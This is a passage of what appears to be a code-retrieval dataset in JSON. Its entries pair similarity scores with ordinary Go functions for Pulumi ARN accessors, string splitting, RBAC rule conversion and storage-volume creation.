segmentSelector{\n\t\tpath: path,\n\t\ttag: tag,\n\t\tparams: params,\n\t\tvalue: value,\n\t}\n}", "title": "" }, { "docid": "ede092876c9122cba16967385ba9a7fe", "score": "0.37965995", "text": "func splitFn(tok token.Token, env *object.Environment, args ...object.Object) object.Object {\n\terr, spec := validateVarArgs(tok, \"split\", args, [][][]string{\n\t\t{{object.STRING_OBJ}, {object.STRING_OBJ}},\n\t\t{{object.STRING_OBJ}},\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts := args[0].(*object.String)\n\n\tsep := \" \"\n\tif spec == 0 {\n\t\tsep = args[1].(*object.String).Value\n\t}\n\n\tparts := strings.Split(s.Value, sep)\n\tlength := len(parts)\n\telements := make([]object.Object, length, length)\n\n\tfor k, v := range parts {\n\t\telements[k] = &object.String{Token: tok, Value: v}\n\t}\n\n\treturn &object.Array{Elements: elements}\n}", "title": "" }, { "docid": "4b480fab06cd332d96ba8877bd7f6045", "score": "0.37903124", "text": "func (o ScalingPolicyOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ScalingPolicy) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "45afcbfd7ec8828a899f07255f6fccd8", "score": "0.37852022", "text": "func IdentifierFromString(s string) Identifier {\n\tparts := strings.Split(s, \"/\")\n\tif len(parts) == 1 {\n\t\treturn Identifier{}\n\t}\n\treturn Identifier{Category: parts[0], Subcategory: parts[1], Name: parts[2]}\n}", "title": "" }, { "docid": "31964fd23c814edc1d2c8cdbe87f8d3b", "score": "0.37845144", "text": "func (o NetworkInsightsAnalysisExplanationComponentOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisExplanationComponent) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "d9d50249b44265721ceaacedfba1e7d5", "score": "0.37791944", "text": "func (o GetNetworkInsightsAnalysisForwardPathComponentSubnetOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisForwardPathComponentSubnet) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "52a9797da652036fa1a8e8d53f93ec82", "score": "0.37739372", "text": "func TestResourceAndNonResourceRuleSplit(t *testing.T) {\n\tocr := &authorizationapi.ClusterRole{\n\t\tRules: []authorizationapi.PolicyRule{\n\t\t\t{\n\t\t\t\tVerbs: sets.NewString(\"get\", \"create\"),\n\t\t\t\tAPIGroups: []string{\"v1\", \"\"},\n\t\t\t\tResources: sets.NewString(\"pods\", \"nodes\"),\n\t\t\t\tResourceNames: sets.NewString(\"foo\", \"bar\"),\n\t\t\t\tNonResourceURLs: sets.NewString(\"/api\", \"/health\"),\n\t\t\t},\n\t\t},\n\t}\n\tocr2 := &authorizationapi.ClusterRole{}\n\trcr := &rbac.ClusterRole{}\n\tif err := Convert_authorization_ClusterRole_To_rbac_ClusterRole(ocr, rcr, nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := Convert_rbac_ClusterRole_To_authorization_ClusterRole(rcr, ocr2, nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// We need to break down the input rules so Covers does not get confused by ResourceNames\n\tocrRulesBrokenDown := []authorizationapi.PolicyRule{}\n\tfor _, servantRule := range ocr.Rules {\n\t\tocrRulesBrokenDown = append(ocrRulesBrokenDown, BreakdownRule(servantRule)...)\n\t}\n\tif covered, uncoveredRules := Covers(ocrRulesBrokenDown, ocr2.Rules); !covered {\n\t\tt.Errorf(\"input rules expected rule split not seen; the uncovered rules are %#v\", uncoveredRules)\n\t}\n\tif covered, uncoveredRules := Covers(ocr2.Rules, ocr.Rules); !covered {\n\t\tt.Errorf(\"output rules expected rule split not seen; the uncovered rules are %#v\", uncoveredRules)\n\t}\n}", "title": "" }, { "docid": "7115ed30863b05b89e26bd2a97294687", "score": "0.37677166", "text": "func (o ResolverDnsSecConfigOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ResolverDnsSecConfig) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "d9922fee13716d2cda9193bc2488298c", "score": "0.3766902", "text": "func parseRouteStr(routeStr string) (string, string, string, error) {\n\tu, err := url.Parse(routeStr)\n\tif err != nil {\n\t\treturn \"\", \"\", \"\", fmt.Errorf(\"failed to parse route: %s\", err)\n\t}\n\tif u.Scheme == \"\" {\n\t\t// Parsing URLs without schemes causes the hostname and domain to incorrectly be empty.\n\t\t// We handle this by assuming the route has a HTTP scheme if scheme is not provided.\n\t\tu, err = url.Parse(\"http://\" + routeStr)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", \"\", fmt.Errorf(\"failed to parse route: %s\", err)\n\t\t}\n\t}\n\n\tparts := strings.SplitN(u.Hostname(), \".\", 3)\n\n\tvar hostname string\n\tvar domain string\n\tvar path string\n\n\tif len(parts) == 3 {\n\t\t// Has hostname\n\t\tif parts[0] == \"www\" {\n\t\t\t// \"www\" is a hostname exception.\n\t\t\t// strip hostname and include \"www\" in the domain\n\t\t\thostname = \"\"\n\t\t\tdomain = strings.Join(parts, \".\")\n\t\t} else {\n\t\t\thostname = parts[0]\n\t\t\tdomain = strings.Join(parts[1:], \".\")\n\t\t}\n\n\t} else {\n\t\t// Only domain\n\t\thostname = \"\"\n\t\tdomain = strings.Join(parts, \".\")\n\t}\n\n\tpath = u.EscapedPath()\n\n\treturn hostname, domain, path, nil\n}", "title": "" }, { "docid": "2916fcbe31b8eece76e93af572be41a8", "score": "0.37660593", "text": "func (o LookupCatalogTableResultOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupCatalogTableResult) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "712f711bffaf9ad405866116d570971b", "score": "0.37634107", "text": "func extractCertificateUUID(arn string) string {\n\tif i := strings.Index(arn, \"/\"); i != -1 {\n\t\treturn arn[i+1:]\n\t}\n\treturn arn\n}", "title": "" }, { "docid": "33bc99d56a3d1f4fcba1658b17ed2fd9", "score": "0.37498662", "text": "func (o CustomDataIdentifierOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *CustomDataIdentifier) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "bf0a870892189862f31ff9eb6468500c", "score": "0.3727698", "text": "func (o LicenseOutput) LicenseArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *License) pulumi.StringOutput { return v.LicenseArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "7f8d69b317e75070748334bd08b32eb9", "score": "0.37248316", "text": "func Split(subnetID string) (string, string, error) {\n\tparts := strings.Split(subnetID, \"/\")\n\tif len(parts) != 11 {\n\t\treturn \"\", \"\", fmt.Errorf(\"subnet ID %q has incorrect length\", subnetID)\n\t}\n\n\treturn strings.Join(parts[:len(parts)-2], \"/\"), parts[len(parts)-1], nil\n}", "title": "" }, { "docid": "902e50618384af9dd203a015089366d5", "score": "0.3722816", "text": "func (o GraphOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Graph) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "767c9cbaf708bedf50f08bf3e1d9db5d", "score": "0.37204847", "text": "func FromSegments(prefix string, seg ...string) (Path, error) {\n\treturn ParsePath(prefix + strings.Join(seg, \"/\"))\n}", "title": "" }, { "docid": "ce08dcde239c9bb10d78adb2d4c01b3e", "score": "0.37203172", "text": "func splitNs(fullname string) (string, string) {\n\tsplit := strings.SplitN(fullname, \"/\", 2)\n\tif len(split) == 2 {\n\t\treturn split[0], split[1]\n\t}\n\treturn \"\", fullname\n}", "title": "" }, { "docid": "b2ad80c4f7df01bcd21c232a4c5fff86", "score": "0.37196448", "text": "func (o LookupAccessPointResultOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupAccessPointResult) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c71b1b656e55c7b9bb97d97bf93b75b5", "score": "0.3717734", "text": "func (o LookupHttpNamespaceResultOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupHttpNamespaceResult) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c8ba03277998e5ba28fb9bba1bee277d", "score": "0.37155685", "text": "func (o ConnectionOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Connection) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "71f67d9820f2ea9ce3a8efb0029bcb93", "score": "0.37130192", "text": "func (o NetworkInsightsAnalysisForwardPathComponentAdditionalDetailComponentOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisForwardPathComponentAdditionalDetailComponent) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "c5897e5ddc9393f6a49ab7384b7c8c58", "score": "0.3705817", "text": "func newInvalidARNWithUnsupportedPartitionError(resource arn.Resource, err error) invalidARNError {\n\treturn invalidARNError{\n\t\tmessage: \"resource ARN not supported for the target ARN partition\",\n\t\torigErr: err,\n\t\tresource: resource,\n\t}\n}", "title": "" }, { "docid": "79bdb36edbc5a3cb3f8b222ca630b3de", "score": "0.3704666", "text": "func parseExecutor(executorStr string) (name string, url string, err error) {\n\texecutor := strings.SplitN(executorStr, \":\", 2)\n\tif len(executor) != 2 {\n\t\treturn \"\", \"\", fmt.Errorf(\"Invalid executor, cannot parse executor: %s\", executorStr)\n\t}\n\treturn executor[0], executor[1], nil\n}", "title": "" }, { "docid": "07ffe8623c60a35874031b79c268ea7e", "score": "0.36980298", "text": "func (r *Service) Arn() pulumi.StringOutput {\n\treturn (pulumi.StringOutput)(r.s.State[\"arn\"])\n}", "title": "" }, { "docid": "738b908c2816f3f5ff01133a0713b90a", "score": "0.36962953", "text": "func split(input string) (prefix string, rest string) {\n\tif input == \"\" || input == \"-\" {\n\t\treturn\n\t}\n\n\tif input[0] != '-' {\n\t\trest = input\n\t\treturn\n\t}\n\n\tidx := strings.IndexRune(input, ' ')\n\n\tif idx == -1 {\n\t\tprefix = input[1:]\n\t\treturn\n\t}\n\n\tprefix = input[1:idx]\n\trest = strings.TrimSpace(input[idx:])\n\treturn\n}", "title": "" }, { "docid": "41ba06f33fe2511324490b0b71a96f57", "score": "0.369617", "text": "func (o ApplicationApplicationConfigurationSqlApplicationConfigurationOutputLambdaOutputOutput) ResourceArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApplicationApplicationConfigurationSqlApplicationConfigurationOutputLambdaOutput) string {\n\t\treturn v.ResourceArn\n\t}).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b7b907db05ab90f3de683d898032e47f", "score": "0.3694321", "text": "func (o LookupParameterGroupResultOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupParameterGroupResult) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "eb2f62b7affe1d8c1f2fc13ee457224a", "score": "0.3693745", "text": "func Validate(arn string) error {\n\tpieces := strings.SplitN(arn, \":\", 6)\n\treturn validate(arn, pieces)\n}", "title": "" } ]
6c000eaa7c06f6eedb25cd597fd9f2ab
New returns an empty volume.
[ { "docid": "07d81b0fb07352f9128a748dc2231757", "score": "0.771212", "text": "func New(name string) *Volume {\n\treturn &Volume{name: name}\n}", "title": "" } ]
[ { "docid": "14397d1a046d6d0fbbd7585baec781ed", "score": "0.72298396", "text": "func NewVolume(svc *providers.Service) *Volume {\n\treturn &Volume{\n\t\titem: metadata.NewItem(svc, volumesFolderName),\n\t\tname: nil,\n\t\tid: nil,\n\t}\n}", "title": "" }, { "docid": "94789bb15a2b0bc36a4f0f47b807f48e", "score": "0.7108703", "text": "func newEmptyDirVolume(name string) corev1.Volume {\n\treturn corev1.Volume{\n\t\tName: name,\n\t\tVolumeSource: corev1.VolumeSource{\n\t\t\tEmptyDir: &corev1.EmptyDirVolumeSource{},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "79cff0b8d8e6920d7457cbc2498b89cc", "score": "0.65788424", "text": "func NewVolume(c *Client, vol *apitypes.Volume, service string) (*types.Volume, error) {\n\tvar d string\n\tvar err error\n\tif c != nil {\n\t\td, err = getDriver(c, service)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\td = service\n\t}\n\n\tnewVol := &types.Volume{\n\t\tVolume: vol,\n\t\tServiceName: service,\n\t\tVolumeID: fmt.Sprintf(\"%s-%s\", d, vol.ID),\n\t\tLabels: make(map[string]string),\n\t}\n\tlog.WithFields(log.Fields{\n\t\t\"newVolume\": newVol,\n\t\t\"newVolume.Volume\": newVol.Volume,\n\t}).Debug(\"converted volume from libstorage to polly\")\n\treturn newVol, nil\n}", "title": "" }, { "docid": "85a95ac76ace6182c302fde3508e2aff", "score": "0.6573939", "text": "func NewVolume(name, confTarget string, driver *Driver) (*Volume, error) {\n\tvol := getVolume(name, confTarget)\n\tvolPtr := &vol\n\tif vol.Type != \"hostPath\" {\n\t\tfound, checkErr := checkForVolume(driver, volPtr)\n\t\tif checkErr != nil {\n\t\t\treturn nil, checkErr\n\t\t}\n\t\tif !found {\n\t\t\tcreateErr := createVolume(driver, volPtr)\n\t\t\tif createErr != nil {\n\t\t\t\treturn nil, createErr\n\t\t\t}\n\t\t}\n\t}\n\treturn volPtr, nil\n}", "title": "" }, { "docid": "aaf9e8a575805b1b3d6637f2b310afac", "score": "0.65504295", "text": "func NewVolume(projectName, name string, config *config.VolumeConfig, client client.VolumeAPIClient) *Volume {\n\tvol := &Volume{\n\t\tclient: client,\n\t\tprojectName: projectName,\n\t\tname: name,\n\t}\n\tif config != nil {\n\t\tvol.driver = config.Driver\n\t\tvol.driverOptions = config.DriverOpts\n\t\tvol.external = config.External.External\n\n\t}\n\treturn vol\n}", "title": "" }, { "docid": "da2b6a53bc21e27b014c8e2e92a7ef27", "score": "0.65308356", "text": "func New(dumbPath, dbName string) Store {\n\treturn &store{Volume: dumbPath, Name: dbName}\n}", "title": "" }, { "docid": "747333454ca11fba3d63587be53767a8", "score": "0.6463382", "text": "func NewVolume(vol *model.Volume, namespaceName string, nodes map[id.Node]*model.Node) *Volume {\n\tvar attachedOnName string\n\n\tattachedOn, ok := nodes[vol.AttachedOn]\n\tswitch {\n\tcase ok:\n\t\tattachedOnName = attachedOn.Name\n\tcase vol.AttachedOn == \"\":\n\tdefault:\n\t\tattachedOnName = unknownResourceName\n\t}\n\n\tisTopologyAware := isTopologyAware(vol.Labels)\n\tvar volumeTopologyKey string\n\tif isTopologyAware {\n\t\tvolumeTopologyKey = topologyKey(vol.Labels)\n\t}\n\n\treturn &Volume{\n\t\tID: vol.ID,\n\t\tName: vol.Name,\n\t\tDescription: vol.Description,\n\t\tAttachedOn: vol.AttachedOn,\n\t\tAttachedOnName: attachedOnName,\n\t\tAttachType: vol.AttachmentType,\n\t\tNFS: NewNFSConfig(vol.Nfs),\n\t\tNamespace: vol.Namespace,\n\t\tNamespaceName: namespaceName,\n\t\tLabels: vol.Labels,\n\t\tTopologyLabels: vol.TopologyLabels,\n\t\tFilesystem: vol.Filesystem,\n\t\tSizeBytes: vol.SizeBytes,\n\t\tMaster: newDeployment(vol.Master, nodes, isTopologyAware, volumeTopologyKey),\n\t\tReplicas: newDeployments(vol.Replicas, nodes, isTopologyAware, volumeTopologyKey),\n\t\tCreatedAt: vol.CreatedAt,\n\t\tUpdatedAt: vol.UpdatedAt,\n\t\tVersion: vol.Version,\n\t}\n}", "title": "" }, { "docid": "2f50817270ed221c45c5bd39dd2fd0f5", "score": "0.638727", "text": "func (m *Manager) NewVolume() (volume.Volume, error) {\n\tm.mutex.Lock()\n\tdefer m.mutex.Unlock()\n\treturn m.newVolumeFromProviderLocked(\"\")\n}", "title": "" }, { "docid": "64707ad5314f9431736bffa48acb747f", "score": "0.6356407", "text": "func NewVolume(ctx *pulumi.Context,\n\tname string, args *VolumeArgs, opts ...pulumi.ResourceOption) (*Volume, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.Label == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'Label'\")\n\t}\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource Volume\n\terr := ctx.RegisterResource(\"linode:index/volume:Volume\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "761ad04d5ecb5aaa62e8239f1dc5e399", "score": "0.6325153", "text": "func getEmptyDirVol(volumeName string) corev1.Volume {\n\treturn corev1.Volume{\n\t\tName: volumeName,\n\t\tVolumeSource: corev1.VolumeSource{\n\t\t\tEmptyDir: &corev1.EmptyDirVolumeSource{},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "a7bfba4431c3d11c9447aa122b90a5df", "score": "0.62980986", "text": "func NewVolume(ctx *pulumi.Context,\n\tname string, args *VolumeArgs, opts ...pulumi.ResourceOption) (*Volume, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.Provider == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'Provider'\")\n\t}\n\tif args.ResourceGroupName == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'ResourceGroupName'\")\n\t}\n\taliases := pulumi.Aliases([]pulumi.Alias{\n\t\t{\n\t\t\tType: pulumi.String(\"azure-nextgen:servicefabricmesh/v20180701preview:Volume\"),\n\t\t},\n\t\t{\n\t\t\tType: pulumi.String(\"azure-native:servicefabricmesh:Volume\"),\n\t\t},\n\t\t{\n\t\t\tType: pulumi.String(\"azure-nextgen:servicefabricmesh:Volume\"),\n\t\t},\n\t\t{\n\t\t\tType: pulumi.String(\"azure-native:servicefabricmesh/v20180901preview:Volume\"),\n\t\t},\n\t\t{\n\t\t\tType: pulumi.String(\"azure-nextgen:servicefabricmesh/v20180901preview:Volume\"),\n\t\t},\n\t})\n\topts = append(opts, aliases)\n\tvar resource Volume\n\terr := ctx.RegisterResource(\"azure-native:servicefabricmesh/v20180701preview:Volume\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "8ddfde521bc569afc7ca5c1d1e3d0a67", "score": "0.6175167", "text": "func newVolume(name, volumeUID, volumeHandle, capacity, boundToClaimUID, boundToClaimName string, phase v1.PersistentVolumePhase, reclaimPolicy v1.PersistentVolumeReclaimPolicy, class string, annotations ...string) *v1.PersistentVolume {\n\tvolume := v1.PersistentVolume{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tResourceVersion: \"1\",\n\t\t\tUID: types.UID(volumeUID),\n\t\t\tSelfLink: \"/api/v1/persistentvolumes/\" + name,\n\t\t},\n\t\tSpec: v1.PersistentVolumeSpec{\n\t\t\tCapacity: v1.ResourceList{\n\t\t\t\tv1.ResourceName(v1.ResourceStorage): resource.MustParse(capacity),\n\t\t\t},\n\t\t\tPersistentVolumeSource: v1.PersistentVolumeSource{\n\t\t\t\tCSI: &v1.CSIPersistentVolumeSource{\n\t\t\t\t\tDriver: mockDriverName,\n\t\t\t\t\tVolumeHandle: volumeHandle,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAccessModes: []v1.PersistentVolumeAccessMode{v1.ReadWriteOnce, v1.ReadOnlyMany},\n\t\t\tPersistentVolumeReclaimPolicy: reclaimPolicy,\n\t\t\tStorageClassName: class,\n\t\t},\n\t\tStatus: v1.PersistentVolumeStatus{\n\t\t\tPhase: phase,\n\t\t},\n\t}\n\n\tif boundToClaimName != \"\" {\n\t\tvolume.Spec.ClaimRef = &v1.ObjectReference{\n\t\t\tKind: \"PersistentVolumeClaim\",\n\t\t\tAPIVersion: \"v1\",\n\t\t\tUID: types.UID(boundToClaimUID),\n\t\t\tNamespace: testNamespace,\n\t\t\tName: boundToClaimName,\n\t\t}\n\t}\n\n\treturn &volume\n}", "title": "" }, { "docid": "9d5f7dc297282ed073672ab148d70376", "score": "0.6173448", "text": "func New(dir string) (blobserver.Storage, error) {\n\tif v, err := diskpacked.IsDir(dir); err != nil {\n\t\treturn nil, err\n\t} else if v {\n\t\treturn diskpacked.New(dir)\n\t}\n\tif v, err := localdisk.IsDir(dir); err != nil {\n\t\treturn nil, err\n\t} else if v {\n\t\treturn localdisk.New(dir)\n\t}\n\treturn diskpacked.New(dir)\n}", "title": "" }, { "docid": "72abf38aec711efd0c2d36bdc47dc643", "score": "0.6023028", "text": "func New(volumePath string) *DiskUsage {\n\n\th := syscall.MustLoadDLL(\"kernel32.dll\")\n\tc := h.MustFindProc(\"GetDiskFreeSpaceExW\")\n\n\tdu := &DiskUsage{}\n\n\tc.Call(\n\t\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(volumePath))),\n\t\tuintptr(unsafe.Pointer(&du.freeBytes)),\n\t\tuintptr(unsafe.Pointer(&du.totalBytes)),\n\t\tuintptr(unsafe.Pointer(&du.availBytes)))\n\n\treturn du\n}", "title": "" }, { "docid": "428e1ea496c9571ad6970ad23ea16de7", "score": "0.60207725", "text": "func newPVCVolume(name string, claimName string) corev1.Volume {\n\treturn corev1.Volume{\n\t\tName: name,\n\t\tVolumeSource: corev1.VolumeSource{\n\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{ClaimName: claimName},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "57a7a465a177b5ba81ca4f20e732fa71", "score": "0.5997251", "text": "func (driver *Driver) Create(volumeName string, volumeOpts volume.VolumeOpts) error {\n\tlog.WithFields(log.Fields{\n\t\t\"volumeName\": volumeName,\n\t\t\"volumeOpts\": volumeOpts,\n\t\t\"driverName\": driver.Name()}).Info(\"creating volume\")\n\n\tif volumeName == \"\" {\n\t\treturn errors.New(\"Missing volume name\")\n\t}\n\n\tinstances, err := driver.sdm.GetInstance()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch {\n\tcase len(instances) == 0:\n\t\treturn errors.New(\"No instances\")\n\tcase len(instances) > 1:\n\t\treturn errors.New(\"Too many instances returned, limit the storagedrivers\")\n\t}\n\n\tvolumes, err := driver.sdm.GetVolume(\"\", volumeName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor k, v := range volumeOpts {\n\t\tvolumeOpts[strings.ToLower(k)] = v\n\t}\n\n\tnewFsType := volumeOpts[\"newfstype\"]\n\toverwriteFs, _ := strconv.ParseBool(volumeOpts[\"overwritefs\"])\n\n\tswitch {\n\tcase len(volumes) == 1 && !overwriteFs:\n\t\treturn nil\n\tcase len(volumes) > 1:\n\t\treturn errors.WithField(\"volumeName\", volumeName, \"Too many volumes returned\")\n\t}\n\n\tvar (\n\t\tok bool\n\t\tvolumeType string\n\t\tIOPSi int\n\t\tsizei int\n\t\tavailabilityZone string\n\t\toptVolumeID string\n\t\toptSnapshotID string\n\t)\n\n\tif volumeType, ok = volumeOpts[\"volumetype\"]; !ok {\n\t\tvolumeType = os.Getenv(\"REXRAY_DOCKER_VOLUMETYPE\")\n\t}\n\n\tif IOPSs, ok := volumeOpts[\"iops\"]; ok {\n\t\tIOPSi, _ = strconv.Atoi(IOPSs)\n\t} else {\n\t\tIOPSi, _ = strconv.Atoi(os.Getenv(\"REXRAY_DOCKER_IOPS\"))\n\t}\n\tIOPS := int64(IOPSi)\n\n\tif sizes, ok := volumeOpts[\"size\"]; ok {\n\t\tsizei, _ = strconv.Atoi(sizes)\n\t} else {\n\t\tsizei, _ = strconv.Atoi(os.Getenv(\"REXRAY_DOCKER_SIZE\"))\n\t}\n\tsize := int64(sizei)\n\tif size == 0 {\n\t\tsize = DefaultVolumeSize\n\t}\n\n\tif availabilityZone, ok = volumeOpts[\"availabilityzone\"]; !ok {\n\t\tavailabilityZone = os.Getenv(\"REXRAY_DOCKER_AVAILABILITYZONE\")\n\t}\n\n\tif optSnapshotName, ok := volumeOpts[\"snapshotname\"]; !ok {\n\t\toptSnapshotID = volumeOpts[\"snapshotid\"]\n\t} else {\n\t\tsnapshots, err := driver.sdm.GetSnapshot(\"\", \"\", optSnapshotName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch {\n\t\tcase len(snapshots) == 0:\n\t\t\treturn errors.WithField(\"optSnapshotName\", optSnapshotName, \"No snapshots returned\")\n\t\tcase len(snapshots) > 1:\n\t\t\treturn errors.WithField(\"optSnapshotName\", optSnapshotName, \"Too many snapshots returned\")\n\t\t}\n\n\t\toptSnapshotID = snapshots[0].SnapshotID\n\t}\n\n\tif optVolumeName, ok := volumeOpts[\"volumename\"]; !ok {\n\t\toptVolumeID = volumeOpts[\"volumeid\"]\n\t} else {\n\t\tvolumes, err := driver.sdm.GetVolume(\"\", optVolumeName)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch {\n\t\tcase len(volumes) == 0:\n\t\t\treturn errors.WithField(\"optVolumeName\", optVolumeName, \"No volumes returned\")\n\t\tcase len(volumes) > 1:\n\t\t\treturn errors.WithField(\"optVolumeName\", optVolumeName, \"Too many volumes returned\")\n\t\t}\n\n\t\toptVolumeID = volumes[0].VolumeID\n\t}\n\n\tif len(volumes) == 0 {\n\t\t_, err := driver.sdm.CreateVolume(\n\t\t\tfalse, volumeName, optVolumeID, optSnapshotID, volumeType, IOPS, size, availabilityZone)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif newFsType != \"\" || overwriteFs {\n\t\t_, err = driver.Mount(volumeName, \"\", overwriteFs, newFsType)\n\t\tif err != nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"volumeName\": volumeName,\n\t\t\t\t\"overwriteFs\": overwriteFs,\n\t\t\t\t\"newFsType\": newFsType,\n\t\t\t\t\"driverName\": driver.Name()}).Error(\"Failed to create or mount file system\")\n\t\t}\n\t\terr = driver.Unmount(volumeName, \"\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5e5303d4e9428f53ab63a0fdc214fcbd", "score": "0.5982241", "text": "func (s *VolumeServiceListener) Create(ctx context.Context, in *pb.VolumeDefinition) (*pb.Volume, error) {\n\tlog.Debugf(\"broker.server.listeners.VolumeServiceListener.Create(%v) called\", in)\n\tdefer log.Debugf(\"broker.server.listeners.VolumeServiceListener.Create(%v) done\", in)\n\n\ttenant := GetCurrentTenant()\n\tif tenant == nil {\n\t\treturn nil, fmt.Errorf(\"Can't create volume: no tenant set\")\n\t}\n\n\tservice := NewVolumeService(tenant.Service)\n\tvolume, err := service.Create(in.GetName(), int(in.GetSize()), VolumeSpeed.Enum(in.GetSpeed()))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"Volume '%s' created: %v\", in.GetName(), volume.Name)\n\treturn conv.ToPBVolume(volume), nil\n}", "title": "" }, { "docid": "4561d54d679e84f98fecd563cce8f19d", "score": "0.5926526", "text": "func New() *VClock {\n\treturn &VClock{}\n}", "title": "" }, { "docid": "59084accccd6885be178c415f197b4e3", "score": "0.59239703", "text": "func New(f internalinterfaces.SharedInformerFactory, name string, key string, period time.Duration,\n\tcollector internalinterfaces.ResourceCollector) InformerVolumeType {\n\treturn &informerVolumeType{factory: f, name: name, key: key, period: period, collector: collector}\n}", "title": "" }, { "docid": "3f07fac7d599beca657de274b4aa6fc5", "score": "0.59074646", "text": "func (d *FakeDriver) Create(name string, opts map[string]string) (volume.Volume, error) {\n\tif opts != nil && opts[\"error\"] != \"\" {\n\t\treturn nil, fmt.Errorf(opts[\"error\"])\n\t}\n\tv := NewFakeVolume(name, d.name)\n\td.vols[name] = v\n\treturn v, nil\n}", "title": "" }, { "docid": "83220ca7dafd3a2f2dc2ebce03b6ab11", "score": "0.5905432", "text": "func New(t string, params string) (KV, error) {\n\tswitch t {\n\tcase TypeRedis:\n\t\treturn rediskv.New(params)\n\t\t//\tcase TypeRAM:\n\t\t//\t\treturn ramkv.New()\n\tdefault:\n\t\tpanic(\"invalid KV-storage\")\n\t}\n}", "title": "" }, { "docid": "eec149e61e0f1b44d558e149c2343a0c", "score": "0.58928025", "text": "func TestCreateVolumeFromVolume(t *testing.T) {\n\tctx, cancelFunc := context.WithTimeout(context.Background(), standardTimeout)\n\tdefer cancelFunc()\n\n\tsourceVolumeUUID, err := bat.AddVolume(ctx, \"\", \"\", \"\", &bat.VolumeOptions{Size: 2})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tsourceVolume, err := bat.GetVolume(ctx, \"\", sourceVolumeUUID)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tvolumeUUID, err := bat.AddVolume(ctx, \"\", sourceVolumeUUID, \"volume\", &bat.VolumeOptions{})\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tvolume, err := bat.GetVolume(ctx, \"\", volumeUUID)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif volume.Size != sourceVolume.Size {\n\t\tt.Errorf(\"Expected volume sizes to match after clone: %v GiB vs %v\", volume.Size, sourceVolume.Size)\n\t}\n\n\terr = bat.DeleteVolume(ctx, \"\", sourceVolumeUUID)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\terr = bat.DeleteVolume(ctx, \"\", volumeUUID)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n}", "title": "" }, { "docid": "cd0356874f77cc7250513e113ba09223", "score": "0.5882975", "text": "func volumeCreate(w http.ResponseWriter, r *http.Request, t 